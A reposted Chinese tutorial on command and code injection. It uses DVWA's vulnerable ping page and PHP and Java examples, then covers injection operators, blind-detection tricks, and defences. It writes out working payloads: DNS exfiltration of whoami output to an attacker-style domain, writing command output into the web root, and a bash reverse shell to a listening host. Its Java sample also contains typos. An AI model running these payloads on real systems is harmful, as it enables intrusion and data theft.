命令执行漏洞

本文阅读 10 分钟

命令注入漏洞通常是通过注入恶意的命令参数,拼接原本正常的命令语句,达到执行恶意命令目的的一类漏洞。 系统命令是可以连接执行的,在没有做好对输入的过滤时,就可能导致攻击者执行其他的命令。

命令执行漏洞和代码执行漏洞: 1、命令执行漏洞是直接调用操作系统命令,所以也叫做OS命令执行漏洞。 2、代码执行漏洞是靠执行脚本代码调用操作系统命令。例如:eval (system('set'););

以DVWA为例

<?php

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else { 
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{ $cmd}</pre>";
}
    
?>
1、stristr(string,search,before_search)
stristr() 函数搜索字符串在另一字符串中的第一次出现。
string:规定被搜索的字符串。
search:规定要搜索的字符串。
如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
before_search:为可选参数,默认值为 "false"。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。
2、php_uname(mode)
返回运行php的操作系统的描述信息。
参数mode可取值:
a :此为默认,包含序列”s n r v m”里的所有模式
s :返回操作系统名称
n:返回主机名
r:返回版本名称
v:返回版本信息
m:返回机器类型
3、shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。和php中的执行运算符反引号('')一致,都是将内容作为shell命令来执行,并将输出信息返回。

按照代码原本的含义,通过判断操作系统的不同,执行不同的ping命令。但是代码中并没有对用户输入的ip地址进行判断。导致了我们可以通过一些特殊字符去构造不一样的ip。 我们通过& | 或者其他变形,来让ip地址和我们想要执行的命令进行拼接。如127.0.0.1&&dir img

PHP提供了部分函数用来执行外部应用程序,例如:system()、exec()、passthru()、shell_exec()等。

实例一:命令执行

<?php
            $host = $argv[1];
            system("ping".$host);   //执行ping命令
?>

使用PHP.EXE执行此文件,命令为:"php.exe cmd.php www.xxx.com",php将会调用系统ping命令,并将结果显示出来。如果此时攻击者拼接其他的系统命令,则可以获取到意想不到的结果:"php.exe cmd.php" | net user。

实例二:代码执行

PHP中提供了eval()函数,这个函数可以把字符串按照PHP格式来执行:即动态的执行PHP代码。使用eval()函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。 CMD.PHP中存在以下代码:

<?php eval($_REQUEST['cmd'])?>

此时cmd可替换成一些我们想要执行的代码:如http://www.xxx.com/cmd.php?cmd=phpinfo()。页面将显示phpinfo的信息。 在ASP、ASP.NET、JAVA中,都有类似的函数或者方法可以动态的执行代码。

实例三:动态函数调用

<?php
    function A(){ 
        return "A()函数...";
    }
    function B(){ 
        return "B()函数...";
    }
    $fun = $_REQUEST["fun"];
    echo $fun();    //动态调用函数
?>
PHP解析器可以根据$fun的值来调用对应的函数,当变量$fun的值为“A”时,那么$fun()对应的函数为A(),此时便会出现问题,如果对fun指定内容,将会造成代码执行:如`http://www.xxx.com/function.php?fun=phpinfo()`。当$fun的值为phpinfo时,$fun()对应的函数为phpinfo()。

实例四:PHP函数代码执行漏洞

在php中,像preg_replace()、ob_start()、array_map()等函数都存在代码执行的问题,在此以array_map()函数为例:

<?php
    $arr = $_GET["arr"];
    $array = array(1,2,3,4,5);
    $new_array = array_map($arr,$array);
?>

array_map()函数的作用是返回用户自定义函数处理后的数组,现在输入URL:http://www.xxx.com/function.php?arr=phpinfo后,回发现phpinfo代码已被执行。

import java.io.InputStream;            //导包
import jvva.io.InputStreamReader;
import java.io.BufferedReader;
public class RuntimeTest{ 
    public static void main(String args[]) throws Exception{ 
        if(args.length==0){ 
            System.exit(1);            //没有参数就退出
            }
            String command = args[0];
            Runtime run = Runtime.getRuntime();
            Process pro = run.exec(command);            //执行命令
            InputStreamReader in = new InputStreamReader(pro.getInputStream());
            BufferedReader buff = new BufferedReader(in);
            for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){ 
                System.out,println(temp);            //输出结果
                }
        buff.close();
            in.close();
            }
            }

上面的代码经过编译后可以执行命令操作,如:java RuntimeTest “ls -l”,进行列文件操作。如果程序开发人员没有正确的使用Runtime类,就有可能造成Java命令执行漏洞。比如Struts2的命令执行漏洞。

A & B,执行A的命令也执行B的命令;
A && B,A执行成功的情况下执行B,A执行失败就不会执行B,和逻辑与一样;
A | B,“|”为管道符,它将A执行的结果作为B的输入,因此无论A执行结果如何,都会执行B;
A || B,在A执行失败的情况下执行B,A执行成功则不会执行B,和逻辑或一样;

A;B,在Linux系统下会将shell1和shell2都执行;

基于unix的系统中:
A `B`,B的执行结果会在A的报错信息中显示。
$() 是用来做命令替换的,内联执行。

换行符:\r\n、%d0、%a0

编码绕过

6.1、使用时间延迟检测无回显命令注入

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其回环网络10秒,通过这个时间延迟,我们可以判断是否存在命令注入。 我们在使用burpsuite工具输入命令的时候,由于burp中不能存在空格,可以变形为& ping+-c+10 127.0.0.1 &。

6.2、通过重定向输出来进行无回显命令注入

可以将注入命令的输出重定向到web根目录的文件中,然后我们可以使用浏览器进行访问。例如,应用程序文件系统位置/var/www/static,那么我们可以通过:

& whoami > /var/www/static/whoami.txt &

该>字符会将whoami命令的输出发送到指定的文件,利用浏览器访问http://xxx.xxx.com/whoami.txt查看

6.3、利用带外通道技术(OOB)

6.3.1、可以使用注入的命令,使用 OAST 技术触发与系统的带外网络交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &

使用nslookup命令对指定域进行 DNS 查找,从而检测到命令已成功注入。 1、使用Burp Suite Professional拦截和修改请求。 2、转到 Burp 菜单,然后启动Burp Collaborator 客户端。 3、单击copy to clipboard将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。 4、修改注入点参数,将其更改为如下所示,在指示的位置插入 Burp Collaborator 子域:注入点=||nslookup+whoami.YOUR-SUBDOMAIN-HERE.burpcollaborator.net|| 5、返回 Burp Collaborator 客户端窗口,然后单击Poll now。您应该会看到一些由应用程序启动的 DNS 交互,这些交互是负载的结果。如果没有看到列出的任何交互,等待几秒钟并重试,因为服务器端命令是异步执行的。 6、观察到命令的输出出现在交互的子域中,可以在 Burp Collaborator 客户端中查看它。查找的完整域名显示在交互的描述选项卡中。

6.3.2、从注入的命令中提取输出

& nslookup `whoami`.xxx.xxx.com &

1、使用Burp Suite Professional拦截和修改请求。 2、转到 Burp 菜单,然后启动Burp Collaborator 客户端。 3、单击copy to clipboard将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。 4、修改注入点参数,将其更改为如下所示,在指示的位置插入 Burp Collaborator 子域:注入点=||nslookup+whoami.YOUR-SUBDOMAIN-HERE.burpcollaborator.net|| 5、返回 Burp Collaborator 客户端窗口,然后单击Poll now。您应该会看到一些由应用程序启动的 DNS 交互,这些交互是负载的结果。如果没有看到列出的任何交互,等待几秒钟并重试,因为服务器端命令是异步执行的。 6、观察到命令的输出出现在交互的子域中,可以在 Burp Collaborator 客户端中查看它。查找的完整域名显示在交互的描述选项卡中。

6.4、bash反弹shell

bash -i >&/dev/tcp/192.168.172.22/1111 0>&1
①bash -i:是产生一个交互式的shell
②>&/dev/tcp/192.168.172.22/1111:建立TCP连接,并将标准输出或者错误重定向到TCP连接上(这里的ip换成自己监听机器的ip地址,端口号自定义)
③0>&1:从TCP连接获取输入
接下来在监听机器上执行
root@bogon:nc -lvp 1111

1、不使用时禁用相应危险函数,或者控制函数的参数不被用户输入; 2、尽量不要执行外部的应用程序或命令; 3、转义命令中的所有shell元字符; 4、采用白名单、正则表达式进行过滤; 5、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。

1、PHP system escapeshellarg escapeshellcmd exec passthru proc_close proc_get_status proc_nice proc_open proc_terminate shell_exec system 2、Python system popen subprocess.call spawn 3、Java java.lang.Runtime.getRuntime().exec(command)

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/111833633
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复